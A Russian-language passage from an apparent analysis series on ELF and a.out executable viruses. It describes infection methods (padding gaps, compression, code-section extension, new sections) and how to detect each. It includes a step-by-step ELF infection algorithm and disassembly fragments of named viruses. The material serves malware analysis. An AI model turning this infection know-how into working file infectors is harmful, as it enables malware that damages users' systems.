.plt 08000A18 08000CE8 dword 0002 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.text 08000CF0 08004180 para 0003 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.fini 08004180 08004188 para 0004 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.rodata 08004188 08005250 dword 0005 publ CONST Y FFFF FFFF 0006 FFFF FFFF
.data 08006250 08006264 dword 0006 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.ctors 08006264 0800626C dword 0007 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.dtors 0800626C 08006274 dword 0008 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.got 08006274 08006330 dword 0009 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.bss 080063B8 08006574 qword 000A publ BSS Y FFFF FFFF 0006 FFFF FFFF
extern 08006574 08006624 byte 000B publ N FFFF FFFF FFFF FFFF FFFF
abs 0800666C 08006684 byte 000C publ N FFFF FFFF FFFF FFFF FFFF
Листинг 5 так выглядит типичная карта памяти нормального файла
Секция .data расположена в самой "гуще" файла и, чтобы до нее добраться, вирусу придется позаботиться о модификации семи остальных секций, скорректировав их поля p_offset (смещение секции от начала файла) надлежащим образом. Некоторые вирусы этого не делают, в результате чего зараженные файлы не запускаются.
С другой стороны, секция .data рассматриваемого файла насчитывает всего 10h байт, поскольку львиная часть данных программы размещена в секции .rodata (секции данных, доступной только на чтение). Это – типичная практика современных линкеров, и большинство исполняемых файлов организованы именно так. Вирус не может разместить свой код в секции .data поскольку это делает его слишком заметным, не может он внедриться и в .rodata, т. к. в этом случае он не сможет себя расшифровать (выделить память на стеке и скопировать туда свое тело – не предлагать: для современных вирусописателей это слишком сложно). Да и смысла в этом будет немного. Коль скоро вирусу приходится внедряться не в конец, а в середину файла, уж лучше ему внедриться не в секцию данных, а в секцию .text, содержащую машинный код. Там вирус будет не так заменен (он об этом мы поговорим позже см. "Заражение посредством расширения кодовой секции файла").


Рисунок 3 0x005 типовая схема заражения исполняемого файла путем расширения его последней секции


Рисунок 4 0x009 внешний вид файла, зараженного вирусом PolyEngine.Linux.LIME.poly; вирус внедряет свое тело в конец секции данных и устанавливает на него точку входа. Наличие исполняемого кода в секции данных делает присутствие вируса чрезвычайно заметным.
Сжатие части оригинального файла
Древние считали, что истина в вине. Они явно ошибались. Истина в том, что день ото дня программы становятся все жирнее и жирнее, а вирусы все изощреннее и изощреннее. Какой бы уродливый код не выбрасывала на рынок фирма Microsoft, он все же лучше некоторых UNIX-подделок. Например файл cat, входящий в FreeBSD 4.5, занимает более 64 Кб. Не слишком ли много для простенькой утилиты?!
Просмотр файла под HEX-редактором обнаруживает большое количество регулярных последовательностей (в большинстве своем – цепочек нулей) которые либо вообще никак не используется, либо поддаются эффективному сжатию. Вирус, соблазнившись наличием свободного места, может скопировать туда свое тело, пускай ему и придется "рассыпаться" на несколько десятков пятен. Если же свободное место отсутствует – не беда! Практически каждый исполняемый файл содержит большое количество текстовых строк, а текстовые строки как хорошо известно легко поддаются сжатию. На первый взгляд, такой алгоритм заражения кажется чрезвычайно сложным, но, поверьте, реализовать простейший упаковщик Хаффмана намного проще того шаманства с раздвижками секций, что приходится делать вирусу для внедрения в середину файла. К тому же, при таком способе заражения длина файла остается неизменной, что частично скрывает факт наличия вируса.
Рассмотрим, как происходит внедрение вируса в кодовый сегмент. В простейшем случае вирус сканирует файл на предмет поиска более или менее длинной последовательности команд NOP, использующихся для выравнивания программного кода по кратным адресам, записывает в них кусочек своего тела и добавляет команду перехода на следующий фрагмент. Так продолжается до тех пор, пока вирус полностью не окажется в файле. На завершающем этапе заражения вирус записывает адреса "захваченных" им фрагментов, после чего передает управление файлу-носителю (если этого не сделать, вирус не сможет скопировать свое тело в следующий заражаемый файл, правда пара особо изощренных вирусов содержит встроенный трассировщик, автоматически собирающий тело вируса на лету, но это чисто лабораторные вирусы и на свободе им не гулять).
Различные программы содержат различное количество свободного места, расходующегося на выравнивание. В частности, программы, входящие в базовый комплект поставки Free BSD 4.5, преимущественно откомилированы с выравниванием на величину 4'х байт. Учитывая, что команда безусловного перехода в x86-системах занимает по меньшей мере два байта, втиснуться в этот скромный объем вирусу просто нереально. С операционной системой Red Hat 5.0 дела обстоят иначе. Кратность выравнивания, установленная на величину от 08h до 10h байт, с легкостью вмещает в себя вирус средних размеров.
Ниже в качестве примера приведен фрагмент дизассемблерного листинга утилиты PING, зараженной вирусом UNIX.NuxBe.quilt (модификация известного вируса NuxBee, опубликованного в электронном журнале, выпускаемом группой #29A).
Даже начинающий исследователь легко обнаружит присутствие вируса в теле программы. Характерная цепочка jmp'ов, протянувшаяся черезвесь сегмент данных, не может не броситься в глаза. В "честных" программах такого практически никогда не бывает (хитрые конвертные защиты и упаковщики исполняемых файлов, построенные на полиморфных движках, мы оставим в стороне).
Отметим, что фрагменты вируса не обязательно должны следовать линейно. Напротив, вирус (если только его создатель не даун) предпримет все усилия, чтобы замаскировать факт своего существования. Вы должны быть готовы к тому, что jmp'ы будут блохой скакать по всему файлу, используя "левые" эпилоги и прологи для слияния с окружающими функциями. Но этот обман легко разоблачить по перекрестным ссылкам, автоматически генерируемым дизассемблером IDA Pro (на подложные прологи/эпилоги перекрестные ссылки отсутствуют!):

.text:08000BD9 xor eax, eax
.text:08000BDB xor ebx, ebx
.text:08000BDD jmp short loc_8000C01

.text:08000C01 loc_8000C01: ; CODE XREF: .text:0800BDD↑j
.text:08000C01 mov ebx, esp
.text:08000C03 mov eax, 90h
.text:08000C08 int 80h ; LINUX - sys_msync
.text:08000C0A add esp, 18h
.text:08000C0D jmp loc_8000D18

.text:08000D18 loc_8000D18: ; CODE XREF: .text:08000C0D↑j
.text:08000D18 dec eax
.text:08000D19 jns short loc_8000D53
.text:08000D1B jmp short loc_8000D2B

.text:08000D53 loc_8000D53: ; CODE XREF: .text:08000D19↑j
.text:08000D53 inc eax
.text:08000D54 mov [ebp+8000466h], eax
.text:08000D5A mov edx, eax
.text:08000D5C jmp short loc_8000D6C
Листинг 6 фрагмент файла, зараженного вирусом UNIX.NuxBe.quilt, "размазывающим" себя по кодовой секции
Кстати говоря, рассмотренный нами алгоритм не совсем корректен. Цепочка NOP'ов может встреться в любом месте программы (например внутри функции) и тогда зараженный файл перестанет работать. Чтобы этого не произошло, некоторые вирусы выполняют ряд дополнительных проверок, в частности убеждаются, что NOP'ы расположены между двумя функциями, опознавая их по командам пролога/эпилога.
Внедрение в секцию данных осуществляется еще проще. Вирус ищет длинную цепочку нулей, разделенную читабельными (точнее – printable) ASCII-символами и, найдя таковую, полагает, что он находится на ничейной территории, образовавшейся в результате выравнивая текстовых строк. Поскольку текстовые строки все чаще располагают в секции .rodata, доступной лишь на чтение, вирус должен быть готов сохранять все модифицируемые им ячейки на стеке и/или динамической памяти.
Забавно, но вирусы этого типа достаточно трудно обнаружить. Действительно, наличие не читабельных ASCII-символов между текстовыми строками – явление вполне нормальное. Может быть, это смещения или еще какие структуры данных, на худой конец – мусор, оставленный линкером!
Взгляните на рисунок 5, приведенный ниже. Согласитесь, что факт зараженности файла вовсе не так очевиден:


Рисунок 5 0x00A/0x00B. так выглядел файл cat до (слева) и после (справа) его заражения
Исследователи, имеющие некоторый опыт работы с IDA, здесь, возможно, возразят: мол, какие проблемы? Подогнал курсор к первому символу, следующему за концом ASCIIZ-строки, нажал на и… дизассемблер мгновенно распахнул код вируса, живописно вплетенный в текстовые строки (см. листинг 7). На самом деле так случается только в теории. Среди нечитабельных символов вируса присутствуют и читабельные тоже. Эвристический анализатор IDA, ошибочно приняв последние за "настоящие" текстовые строки, просто не позволит их дизассемблировать. Ну, во всяком случае, до тех пор, пока они явно не будут "обезличены" нажатием клавиши . К тому же вирус может вставлять в начало каждого своего фрагмента специальный символ, являющийся частью той или иной машинной команды и сбивающий дизассемблер с толку. В результате IDA дизассемблирует всего лишь один-единственный фрагмент вируса (да и тот некорректно) после чего заткнется, подталкивая нас к индуктивному выводу, что мы имеем дело с легальной структурной данных, и зловредный машинный код здесь отродясь не ночевал.
Увы! Какой бы могучей IDA ни была она все-таки не всесильна, и над всяким полученным листингом вам еще предстоит поработать. Впрочем, при некотором опыте дизассемблирования, многие машинные команды распознаются в HEX-дампе с первого взгляда (пользуясь случаем, отсылаю вас к "Технике и философии хакерских атак/дизассемблирование в уме", ставшей уже библиографической редкостью, т. к. ее дальнейших переизданий уже не планируется):

.rodata:08054140 aFileNameTooLon db 'File name too long',0
.rodata:08054153 ; ──────────────────────────────────────────────────────────────────
.rodata:08054153 mov ebx, 1
.rodata:08054158 mov ecx, 8049A55h
.rodata:08054158 jmp loc_80541A9
.rodata:08054160 ; ──────────────────────────────────────────────────────────────────
.rodata:08054160 aTooManyLevelsO db 'Too many levels of symbolic links',0
.rodata:08054182 aConnectionRefu db 'Connection refused',0
.rodata:08054195 aOperationTimed db 'Operation timed out',0
.rodata:080541A9 ; ──────────────────────────────────────────────────────────────────
.rodata:080541A9 loc_80541A9:
.rodata:080541A9 mov edx, 2Dh
.rodata:080541AE int 80h ; LINUX -
.rodata:080541B0 mov ecx, 51000032h
.rodata:080541B5 mov eax, 8
.rodata:080541BA jmp loc_80541E2
.rodata:080541BA ; ──────────────────────────────────────────────────────────────────
.rodata:080541BF db 90h ; Р
.rodata:080541C0 aTooManyReferen db 'Too many references: can',27h,'t splice',0
.rodata:080541E2 ; ──────────────────────────────────────────────────────────────────
.rodata:080541E2 loc_80541E2:
.rodata:080541E2 mov ecx, 1FDh
.rodata:080541E7 int 80h ; LINUX - sys_creat
.rodata:080541E9 push eax
.rodata:080541EA mov eax, 0
.rodata:080541EF add [ebx+8049B43h], bh
.rodata:080541F5 mov ecx, 8049A82h
.rodata:080541FA jmp near ptr unk_8054288
.rodata:080541FA ; ───────────────────────────────────────────────────────────────────
.rodata:080541FF db 90h ; Р
.rodata:08054200 aCanTSendAfterS db 'Can',27h,'t send after socket shutdown',0
Листинг 7 фрагмент файла, зараженного вирусом UNIX.NuxBe.jullet, "размазывающим" себя по секции данных
Однако требуемого количества междустрочных байт удается наскрести далеко не во всех исполняемых файлах, и тогда вирус может прибегнуть к поиску более или менее регулярной области с последующим ее сжатием. В простейшем случае ищется цепочка, состоящая из одинаковых байт, сжимаемая по алгоритму RLE. При этом вирус должен следить за тем, чтобы не нарваться на мину перемещаемых элементов (впрочем, ни один из известных автору вирусов этого не делал). Получив управление и совершив все, что он хотел совершить, вирус забрасывает на стек распаковщик сжатого кода, отвечающий за приведение файла в исходное состояние. Легко видеть, что таким способом заражаются лишь секции, доступные как на запись, так и на чтение (т. е. наиболее соблазнительные секции .rodata и .text уже не подходят, ну разве что вирус отважится изменить их атрибуты, выдавая факт заражения с головой).
Наиболее настырные вирусы могут поражать и секции неинициализированных данных. Нет, это не ошибка, такие вирусы действительно есть. Их появление объясняется тем обстоятельством, что полноценный вирус в "дырах", оставшихся от выравнивания, разместить все-таки трудно, но вот вирусный загрузчик туда влезает вполне. Секции неинициализированных данных, строго говоря, не только не обязаны загружаться с диска в память (хотя некоторые UNIX'ы их все-таки загружают), но могут вообще отсутствовать в файле, динамически создаваясь системным загрузчиком на лету. Однако вирус и не собирается искать их в памяти! Вместо этого он вручную считывает их непосредственно с самого зараженного файла (правда в некоторых случаях доступ к текущему выполняемому файлу предусмотрительно блокируется операционной системой).
На первый взгляд, помещение вирусом своего тела в секции неинициализированных данных ничего не меняет (если даже не демаскирует вирус), но при попытке поимки такого вируса за хвост он выскользнет из рук. Секция неинициализированных данных визуально ничем не отличается от всех остальных секций файла, и содержать она может все, что угодно: от длинной серии нулей, до копирайтов разработчика. В частности, создатели дистрибьютива FreeBSD 4.5 именно так и поступают (см. листинг 8).

0000E530: 00 00 00 00 FF FF FF FF │ 00 00 00 00 FF FF FF FF          
0000E540: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
0000E550: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
0000E560: 00 47 43 43 3A 20 28 47 │ 4E 55 29 20 63 20 32 2E GCC: (GNU) c 2.
0000E570: 39 35 2E 33 20 32 30 30 │ 31 30 33 31 35 20 28 72 95.3 20010315 (r
0000E580: 65 6C 65 61 73 65 29 20 │ 5B 46 72 65 65 42 53 44 elease) [FreeBSD

0000F2B0: 4E 55 29 20 63 20 32 2E │ 39 35 2E 33 20 32 30 30 NU) c 2.95.3 200
0000F2C0: 31 30 33 31 35 20 28 72 │ 65 6C 65 61 73 65 29 20 10315 (release)
0000F2D0: 5B 46 72 65 65 42 53 44 │ 5D 00 08 00 00 00 00 00 [FreeBSD] ◘
0000F2E0: 00 00 01 00 00 00 30 31 │ 2E 30 31 00 00 00 08 00 ☺ 01.01 ◘
Листинг 8 так выглядит секция .bss большинства файлов из комплекта поставки Free BSD
Ряд дизассемблеров (и IDA Pro в том числе) по вполне логичным соображениям не загружает содержимое секций неинициализированных данных, явно отмечая это обстоятельство двойным знаком вопроса (см. листинг 9). Приходится исследовать файл непосредственно в HIEW'е или любом другом HEX-редакторе, разбирая a.out/ELF-формат "вручную", т. к. популярные HEX-редакторы его не поддерживают. Скажите честно: готовы ли вы этим реально заниматься? Так что, как ни крути, а вирусы этого типа имеют все шансы на выживание, пусть массовых эпидемий им никогда не видать.

.bss:08057560 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:08057570 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:08057580 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:08057590 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:080575A0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:080575B0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:080575C0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:080575D0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
.bss:080575E0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????"
Листинг 9 так выглядит секция .bss в дизассемблере IDA Pro и большинстве других дизассемблеров
Заражение посредством расширения кодовой секции файла
Наибольшую скрытность вирусу обеспечивает внедрение в кодововую секцию заражаемого файла, находящуюся глубоко в середине последнего. Тело вируса, сливаясь с исходным машинным кодом, виртуально становится совершенно неотличимым от "нормальной" программы, и обнаружить такую заразу можно лишь анализом ее алгоритма (см. так же "Основные признаки вирусов").
Безболезненное расширение кодовой секции возможно лишь в ELF- и COFF-файлах (под "безболезненностью" здесь понимается отсутствие необходимости в перекомпиляции файла-жертвы), и достигается оно за счет того замечательного обстоятельства, что стартовые виртуальные адреса сегментов/секций отделены от их физических смещений, отсчитываемых от начала файла.
Алгоритм заражения ELF-файла в общем виде выглядит так (внедрение в COFF-файлы осуществляется аналогичным образом):

• вирус открывает файл и, считав его заголовок, убеждается, что это действительно ELF;
• заголовок таблицы секций (Section Header Table) перемещается вниз на величину, равную длине тела вируса. Для этого вирус увеличивает содержимое поля e_shoff, оккупирующего 20h – 23h байты ELF-заголовка, (примечание: заголовок таблицы секций, равно как и сами секции, имеет значение только для компоновочных файлов, загрузчик исполняемых файлов их игнорирует, независимо от того присутствуют они в файле или нет);
• просматривая Program Header Table, вирус находит сегмент, наиболее предпочтительный для заражения (т. е. тот сегмент, в который указывает точка входа);
• длина найденного сегмента увеличивается на величину, равную размеру тела вируса. Это осуществляется путем синхронной коррекции полей p_filez и p_memz;
• все остальные сегменты смещаются вниз, при этом поле p_offset каждого из них увеличивается на длину тела вируса;
• анализируя заголовок таблицы секций (если он только присутствует в файле), вирус находит секцию, наиболее предпочтительную для заражения (как правило заражается секция, находящаяся в сегменте последней: это избавляет вируса от необходимости перемещения всех остальных секций вниз);
• размер заражаемой секции (поле sh_size) увеличивается на величину, равную размеру тела вируса;
• все хвостовые секции сегмента смещаются вниз, при этом поле sh_offset каждой из них увеличивается на длину тела вируса (если вирус внедряется в последнюю секцию сегмента, этого делать не нужно);
• вирус дописывает себя к концу заражаемого сегмента, физически смещая содержимое всей остальной части файла вниз;
• для перехвата управления вирус корректирует точку входа в файл (e_entry) либо же внедряет в истинную точку входа jmp на свое тело (впрочем, методика перехвата управления тема отдельного большого разговора).

Прежде чем приступить к обсуждению характерных "следов" вирусного внедрения, давайте посмотрим какие секции в каких сегментах обычно бывают расположены. Оказывается, схема их распределения далеко не однозначна и возможны самые разнообразные вариации. В одних случаях секции кода и данных помещаются в отдельные сегменты, в других – секции данных, доступные только на чтение, объединяются с секциями кода в единый сегмент. Соответственно и последняя секция кодового сегмента каждый раз будет иной.
Большинство файлов включает в себя более одной кодовой секции, и располагаются эти секции приблизительно так:

.init содержит инициализационный код
.plt содержит таблицу связки подпрограмм
.text содержит основной код программы
.fini содержит термирующий код программы
Листинг 10 схема расположения кодовых секций типичного файла
Присутствие секции .finit делает секцию .text не последней секцией кодового сегмента файла, как чаще всего и происходит. Таким образом, в зависимости от стратегии распределения секций по сегментам, последней секцией файла обычно является либо секция .finit, либо .rodata.
Секция .finit в большинстве своем это такая крохотная секция, заражение которой трудно оставить незамеченным. Код, расположенный в секции .finit и непосредственно перехватывающий на себя нить выполнения программой, выглядит несколько странно, если не сказать – подозрительно (обычно управление на .finit передается косвенным образом как аргумент функции atexit). Вторжение будет еще заметнее, если последней секцией в заражаемом сегменте окажется секция .rodata (машинный код при нормальном развитии событий в данные никогда не попадает). Не остается незамеченным и вторжение в конец первой секции кодового сегмента (в последнюю секцию сегмента, предшествующему кодовому сегменту), поскольку кодовый сегмент практически всегда начинается с секции .init, вызываемой из глубины стартового кода и по обыкновению содержащей пару-тройку машинных команд. Вирусу здесь будет просто негде затеряться и его присутствие сразу же становится заметным!
Более совершенные вирусы внедряются в конец секции .text, сдвигая все остальное содержимое файла вниз. Распознать такую заразу значительно сложнее, поскольку визуально структура файла выглядит неискаженной. Однако некоторые зацепки все-таки есть. Во-первых, оригинальная точка входа подавляющего большинства файлов расположена в начале кодовой секции, а не в ее конце. Во-вторых, зараженный файл имеет нетипичный стартовый код (подробнее об этом рассказывалось в предыдущей статье). И, в-третьих, далеко не все вирусы заботятся о выравнивании сегментов (секций).
Последний случай стоит рассмотреть особо. Системному загрузчику, ничего не знающему о существовании секций, степень их выравнивания по барабану (простите, я хотел сказать "…она для него некритична"). Тем не менее, во всех нормальных исполняемых файлах секции тщательно выровнены на величину, указанную в поле sh_addralign. При заражении файла вирусом последний далеко не всегда оказывается так аккуратен, и некоторые секции могут неожиданно для себя очутиться по некратным адресам. Работоспособности программы это не нарушит, но вот факт вторжения вируса сразу же демаскирует.
Сегменты выравнивать тоже необязательно (при необходимости системный загрузчик сделает это сам), однако программистский этикет предписывает выравнивать секции, даже если поле p_align равно нулю (т. е. выравнивания не требуется). Все нормальные линкеры выравнивают сегменты по крайней мере на величину кратную 32 байтам, хотя это происходит и не всегда. Тем не менее, если сегменты, следующие за сегментом кода, выровнены на меньшую величину – к такому файлу следует присмотреться повнимательнее.
Другой немаловажный момент: при внедрении вируса в начало кодового сегмента он может создать свой собственный сегмент, предшествующий данному. И тут вирус неожиданно сталкивается с довольно интересной проблемой. Сдвинуть кодовый сегмент вниз он не может, т. к. тот обычно начинается с нулевого смещения в файле, перекрывая собой предшествующие ему сегменты. Зараженная программа в принципе может и работать, но раскладка сегментов становится слишком уж необычной, чтобы ее не заметить.
Выравнивание функций внутри секций – это вообще вещь (в смысле: вещдок – вещественное доказательство). Кратность выравнивания функций нигде и никак не декларируется, и всякий программист склонен выравнивать функции по своему. Одни используют выравнивание на адреса кратные 04h, другие – 08h, 10h или даже 20h! Определить степень выравнивания без качественного дизассемблера практически невозможно. Требуется выписать стартовые адреса всех функций и найти наибольший делитель, на который все они делятся без остатка. Дописывая себя в конец кодового сегмента, вирус наверняка ошибется с выравниванием адреса пролога функции (если он вообще позаботиться о создании функции в этом месте!), и он окажется отличным от степени выравнивания, принятой всеми остальными функциями (попутно заметим, что определять степень выравнивания при помощи дизассемблера IDA PRO – плохая идея, т. к. она определяет ее неправильно, закладываясь на наименьшее возможное значение, в результате чего вычисленная степень выравнивания от функции к функции будет варьироваться).
Классическим примером вируса, внедряющегося в файл путем расширения кодового сегмента, является вирус Linux.Vit.4096. Любопытно, что различные авторы по разному описывают стратегии, используемые вирусом для заражения. Так, Евгений Касперский почему-то считает, что вирус Vit записывается в начало кодовой секции заражаемого файла (http://www.viruslist.com/viruslist.html?id=3276) в то время как он размещает свое тело в конце кодового сегмента файла (http://www.nai.com/common/media/vil/pdf/mvanvoers_VB_conf 202000.pdf). Ниже приведен фрагмент ELF-файла, зараженного вирусом Vit.


Рисунок 6 фрагмент файла, зараженного вирусом Lin/Vit. Поля, модифицированные вирусом, выделены траурной рамкой
Многие вирусы (и в частности вирус Lin/Obsidan) выдают себя тем, что при внедрении в середину файла "забывают" модифицировать заголовок таблицы секций (либо же модифицируют его некорректно). Как уже отмечалось выше, в процессе загрузки исполняемых файлов в память системный загрузчик считывает информацию о сегментах и проецирует их содержимое целиком. Внутренняя структура сегментов его совершенно не интересует. Даже если заголовок таблицы секций отсутствует или заполнен некорректно, запущенная на выполнение программа будет исправно работать. Однако несмотря на это, в подавляющем большинстве исполняемых файлов заголовок таблицы секций все-таки присутствует, и попытка его удаления оканчивается весьма плачевно – популярный отладчик gdb и ряд других утилит для работы с ELF-файлами отказываются признать "кастрированный" файл своим. При заражении исполняемого файла вирусом, некорректно обращающимся с заголовком таблицы секций, поведение отладчика становится непредсказуемым, демаскируя тем самым факт вирусного вторжения.
Перечислим некоторые наиболее характерные, признаки заражения исполняемых файлов (вирусы, внедряющиеся в компоновочные файлы, обрабатывают заголовок таблицы секций вполне корректно, в противном случае зараженные файлы тут же откажут в работе и распространение вируса немедленно прекратиться):

• поле e_shoff указывает "мимо" истинного заголовка таблицы секций (так себя ведет вирус Lin/Obsidan) либо имеет нулевое значение при непустом заголовке таблицы секций (так себя ведет вирус Linux.Garnelis);
• поле e_shoff имеет ненулевое значение, но ни одного заголовка таблицы секций в файле нет;
• заголовок таблицы секций содержится не в конце файла, этих заголовков несколько или заголовок таблицы секций попадает в границы владения одного из сегментов;
• сумма длин всех секций одного сегмента не соответствует его полной длине;
• программный код расположен в области, не принадлежащей никакой секции;

Следует сказать, что исследование файлов с искаженным заголовком таблицы секций представляет собой достаточно простую проблему. Дизассемблеры и отладчики либо виснут, либо отображают такой файл неправильно, либо же не загружают его вообще. Поэтому, если вы планируете заниматься исследованием зараженных файлов не день и не два, лучше всего будет написать свою собственную утилиту для их анализа.
Сдвиг кодовой секции вниз
Трудно объяснить причины, по которым вирусы внедряются в начало кодовой секции (сегмента) заражаемого файла или создают свой собственную секцию (сегмент), располагающуюся впереди. Этот прием не обеспечивает никаких преимуществ перед записью своего тела в конец кодовой секции (сегмента) и к тому же намного сложнее реализуется. Тем не менее, такие вирусы существуют, и будут подробно здесь рассмотрены.
Наилучший уровень скрытности достигается при внедрении в начало секции .text и осуществляется практически тем же самым образом, что и внедрение в конец, с той лишь разницей, что для сохранения работоспособности зараженного файла, вирус корректирует поля sh_addr и p_vaddr, уменьшая их на величину своего тела и не забывая о необходимости выравнивания (если выравнивание действительно необходимо). Первое поле задает виртуальный стартовый адрес для проекции секции .text, второе – виртуальный стартовый адрес для проекции кодового сегмента.
В результате этой махинации вирус оказывается в самом начале кодовой секции и чувствует себя довольно уверенно, поскольку при наличии стартового кода выглядит неотличимо от "нормальной" программы. Однако работоспособность зараженного файла уже не гарантируется, и его поведение рискует стать совершенно непредсказуемым, поскольку виртуальные адреса всех предыдущих секций окажутся полностью искажены. Если при компиляции программы компоновщик позаботился о создании секции перемещаемых элементов, то вирус (теоретически) может воспользоваться этой информацией для приведения впереди идущих секций в нормальное состояние, однако исполняемые файлы в своем подавляющем большинстве спроектированы для работы по строго определенным физическим адресам и потому неперемещаемы. Но даже при наличии перемещаемых элементов вирус не сможет отследить все случаи относительной адресации. Между секцией кода и секцией данных относительные ссылки практически всегда отсутствуют, и потому при вторжении вируса в конец кодовой секции работоспособность файла в большинстве случаев не нарушается. Однако внутри кодового сегмента случаи относительной адресации между секциями – скорее правило, нежели редкость. Взгляните на фрагмент дизассемблерного листинга утилиты ping, позаимствованный из UNIX Red Hat 5.0. Команду call, расположенную в секции .init, и вызываемую ею подпрограмму, находящуюся в секции .text, разделяют ровно 8002180h – 8000915h == 186Bh байт, и именно это число фигурирует в машинном коде (если же вы все еще продолжаете сомневаться, загляните в Intel Instruction Reference Set: команда E8h ‑ это команда относительного вызова):

.init:08000910 _init proc near ; CODE XREF: start+51↓p
.init:08000910 E8 6B 18 00 00 call sub_8002180
.init:08000915 C2 00 00 retn 0
.init:08000915 _init endp

.text:08002180 sub_8002180 proc near ; CODE XREF: _init↑p
Листинг 11 фрагмент утилиты ping, использующей, как и многие другие программы, относительные ссылки между секциями кодового сегмента
Неудивительно, что после заражения файл перестает работать (или станет работать некорректно)! Но если это все-таки произошло, загрузите файл в отладчик/дизассемблер и посмотрите – соответствуют ли относительные вызовы первых кодовых секций пункту своего назначения. Вы легко распознаете факт заражения, даже не будучи специалистом в области реинжинеренга.
В этом мире ничего не дается даром! За скрытность вирусного вторжения последнему приходится расплачиваться разрушением большинства заражаемых файлов. Более корректные вирусы располагают свое тело в начале кодового сегмента – в секции .init. Работоспособность заражаемых файлов при этом не нарушается, но присутствие вируса становится легко обнаружить, т. к. секция .init редко бывает большой, и даже небольшая примесь постороннего кода сразу же вызывает подозрение.


Рисунок 7 0x07 типовая схема заражения исполняемого файла путем расширения его кодовой секции
Некоторые вирусы (например вирус Linux.NuxBee) записывают себя поверх кодового сегмента заражаемого файла, перемещая затертую часть в конец кодовой секции (или, что более просто, в конец последнего сегмента файла). Получив управление и выполнив всю работу "по хозяйству", вирус забрасывает кусочек своего тела в стек и восстанавливает оригинальное содержимое кодового сегмента. Учитывая, что модификация кодового сегмента по умолчанию запрещена и разрешать ее вирусу не резон (в этом случае факт заражения очень легко обнаружить), вирусу приходится прибегать к низкоуровневым манипуляциям с атрибутами страниц памяти, вызывая функцию mprotect, практически не встречающуюся в "честных" приложениях.
Другой характерный признак: в том месте, где кончается вирус и начинается незатертая область оригинального тела программы, образуется своеобразный дефект. Скорее всего, даже наверняка, граница раздела двух сред пройдет посередине функции оригинальной программе, если еще не рассечет машинную команду. Дизассемблер покажет некоторое количество мусора и хвост функции с отсутствующим прологом.
Создание своей собственной секции
Наиболее честный (читай – "корректный") и наименее скрытный способ внедрения в файл состоит в создании своей собственной секции (сегмента), а то и двух секций – для кода и для данных соответственно. Разместить такую секцию можно где угодно. Хоть в начале файла, хоть в конце (вариант внедрения в сегмент с раздвижкой соседних секций мы уже рассматривали выше).

Name Start End Align Base Type Class 32 es ss ds fs gs
.init 08000910 08000918 para 0001 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.plt 08000918 08000B58 dword 0002 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.text 08000B60 080021A4 para 0003 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.fini 080021B0 080021B8 para 0004 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.rodata 080021B8 0800295B byte 0005 publ CONST Y FFFF FFFF 0006 FFFF FFFF
.data 0800295C 08002A08 dword 0006 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.ctors 08002A08 08002A10 dword 0007 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.dtors 08002A10 08002A18 dword 0008 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.got 08002A18 08002AB0 dword 0009 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.bss 08002B38 08013CC8 qword 000A publ BSS Y FFFF FFFF 0006 FFFF FFFF
.data1 08013CC8 08014CC8 qword 000A publ DATA Y FFFF FFFF 0006 FFFF FFFF
Листинг 12 карта файла, зараженного вирусом, внедряющимся в собственноручно созданную секцию и этим себя демаскирующим (подробнее об этом рассказывалось в предыдущей статье этого цикла "борьба с вирусами – опыт контртеррористических операций")
Внедрение между файлом и заголовком
Фиксированный размер заголовка a.out файлов существенно затруднял эволюцию этого в общем-то неплохого формата, и в конечном счете привел к его гибели. В последующих форматах это ограничение было преодолено. Так, в ELF-файлах длина заголовка храниться в двухбайтовом поле e_ehize, оккупировавшего 28h и 29h байты, считая от начала файла.
Увеличив заголовок заражаемого файла на величину, равную длине своего тела, и сместив оставшуюся часть файла вниз, вирус сможет безболезненно скопировать себя в образовавшееся пространство между концом настоящего заголовка и началом Program Header Table. Ему даже не придется увеличивать длину кодового сегмента, поскольку в большинстве случаев тот начинается с самого первого байта файла. Единственное, что будет вынужден сделать вирус – сдвинуть поля p_offset всех сегментов на соответствующую величину вниз. Сегмент, начинающийся с нулевого смещения, никуда перемещать не надо, иначе вирус не будет спроецирован в память. (Смещения сегментов в файле отсчитываются от начала файла, но не от конца заголовка, что нелогично и идеологически неправильно, зато упрощает программирование). Поле e_phoff, задающее смещение Program Head Table также должно быть скорректировано.
Аналогичную операцию следует проделать и со смещениями секций, в противном случае отладка/дизассемблирование зараженного файла станет невозможной (хотя файл будет нормально запускаться). Существующие вирусы забывают скорректировать содержимое полей sh_offset, чем и выдают себя, однако следует быть готовым к тому, что в следующих поколениях вируса этот недостаток будет устранен.
